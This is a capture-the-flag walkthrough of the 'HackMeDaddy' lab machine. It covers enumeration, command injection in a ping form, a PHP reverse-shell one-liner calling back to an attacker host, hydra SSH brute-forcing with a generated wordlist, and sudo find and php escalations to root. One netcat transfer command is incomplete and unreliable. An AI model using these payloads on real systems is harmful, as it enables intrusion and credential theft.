HackMeDaddy
export TARGET_IP=172.17.0.2
sudo nmap -p0- $TARGET_IP
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Service Enumeration
-
The website's HTML source code reveals the hostname:
hackmedaddy.com. This is added to the/etc/hostsfile.echo "$TARGET_IP hackmedaddy.com" | sudo tee -a /etc/hosts -
Directory and file enumeration is performed using
gobuster:gobuster dir -u http://$TARGET_IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.bakThis identifies the following interesting files:
/info.txt
/flag.txt -
Further investigation of
robots.txtreveals disallowed entries:curl http://hackmedaddy.com/robots.txtUser-agent: *
Disallow: /FLAG.txt
Disallow: /joomla/*
Disallow: /secret/ -
info.txtcontains a message hinting at a removed file namedREADME.txtin the HTML folder:Look, I told Eliot to remove those words from the README.txt because it could be a big security flaw in our HTML folder. -
The main page source code contains a
cat README.txtcommand and the following output:d05notfound exploit payload shell bruteforce vulnerability cipher zero-day phishing root port_scan firewall backdoorThis list of words suggests potential vulnerabilities and attack vectors to consider.
-
Based on the first entry
d05notfoundin the list, we accesshttp://hackmedaddy.com/d05notfoundand find a PHP page athttp://hackmedaddy.com/d05notfound/d05notfound.php. -
The page offers functionality to ping an IP address. The source code must be viewed to see the input form. This is a potential command injection vulnerability.
Exploitation: Command Injection
-
Confirmation
The ping functionality is vulnerable to command injection. Injecting
192.168.1.100 | ls -alinto the input field and viewing the source code reveals the output of thels -alcommand, confirming the vulnerability. -
Reverse Shell
A reverse shell is established using
netcaton the attacking machine and a PHP reverse shell one-liner on the target:Attacker machine:
nc -lvnp 4444Target machine (injected command):
192.168.1.100 | php -r '$sock=fsockopen("172.17.0.1",4444);exec("sh <&3 >&3 2>&3");'This grants a shell as the
www-datauser.
Privilege Escalation: User e1i0t
Information Gathering
-
nota.txtine1i0t's home directory suggests that passwords have been removed from an "agenda":Reminder:
Delete my passwords from the agenda, I don't want to screw up with the boss again.
By e1i0t -
agenda.txtandagenda_passwords.txtare found ine1i0t'sdocumentsdirectory. These likely contain usernames and potential passwords.
Password Cracking
-
agenda.txtis transferred to the attacker's machine usingnetcat:Attacker machine:
nc -lvnp 4444 > agenda.txtTarget machine:
cat /home/e1i0t/documents/agenda.txt -
hydrais used to brute-forcee1i0t's SSH password usingagenda.txtas the wordlist:hydra -l e1i0t -P agenda.txt ssh://$TARGET_IPThis successfully identifies the password as
eliotelmejor.
User e1i0t Access
The attacker logs in as e1i0t via SSH:
ssh e1i0t@$TARGET_IP # Password: eliotelmejor
Privilege Escalation: User an0n1mat0
Privilege Enumeration
sudo -l reveals that e1i0t can run /bin/find as user an0n1mat0 without a password:
User e1i0t may run the following commands on 8cc0abdb7353:
(an0n1mat0 : an0n1mat0) NOPASSWD: /bin/find
Exploitation
A shell as an0n1mat0 is obtained using find's -exec option:
sudo -u an0n1mat0 find . -exec /bin/sh \; -quit
Privilege Escalation: Attempting Root
Further Enumeration
-
sudo -lasan0n1mat0indicates that a password is required for further privilege escalation. -
nota.txtinan0n1mat0's home directory mentions a "secret folder":The boss told me that he will soon remove your privileges to be able to access your secret folder. -
A directory named
/secretis found (find / -name 'secret' 2>/dev/null).confidencial.txtinside it mentions a file calledpasswords_users.txtin a secure location. -
passwords_users.txtis found at/usr/local/bin/passwords_users.txt(find / -name 'passwords_users.txt' 2>/dev/null). It contains:User passwords:
e1i0t:eliotelmejor
an0n1mat0:XXyanonymous
root:root
There are some outdated passwords, but I don't remember an0n1mat0's entire password, I know that where the two
Password Generation
The next step is to generate possible password combinations for an0n1mat0 based on XXyanonymous. A Python script is used for this:
import itertools
import string
base_password = "yanonymous"
prefix = "XX"
# Generate all possible two-character combinations of letters and digits
combinations = [''.join(comb) for comb in itertools.product(string.ascii_lowercase + string.digits, repeat=2)]
# Create a file with the generated passwords
with open("an0n1mat0_passwords.txt", "w") as f:
for combination in combinations:
f.write(f"{combination}{base_password}\n")
print("Password list generated: an0n1mat0_passwords.txt")
This creates a file named an0n1mat0_passwords.txt.
Brute-Forcing an0n1mat0's password
hydra -l an0n1mat0 -P an0n1mat0_passwords.txt ssh://$TARGET_IP
[22][ssh] host: 172.17.0.2 login: an0n1mat0 password: soyanonymous
User an0n1mat0 Access
ssh an0n1mat0@$TARGET_IP # Password: soyanonymous
sudo -l
Matching Defaults entries for an0n1mat0 on 8cc0abdb7353:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User an0n1mat0 may run the following commands on 8cc0abdb7353:
(ALL : ALL) /bin/php
Exploitation
See GTFOBINS
sudo php -r 'system("/bin/sh");'
id # uid=0(root) gid=0(root) groups=0(root)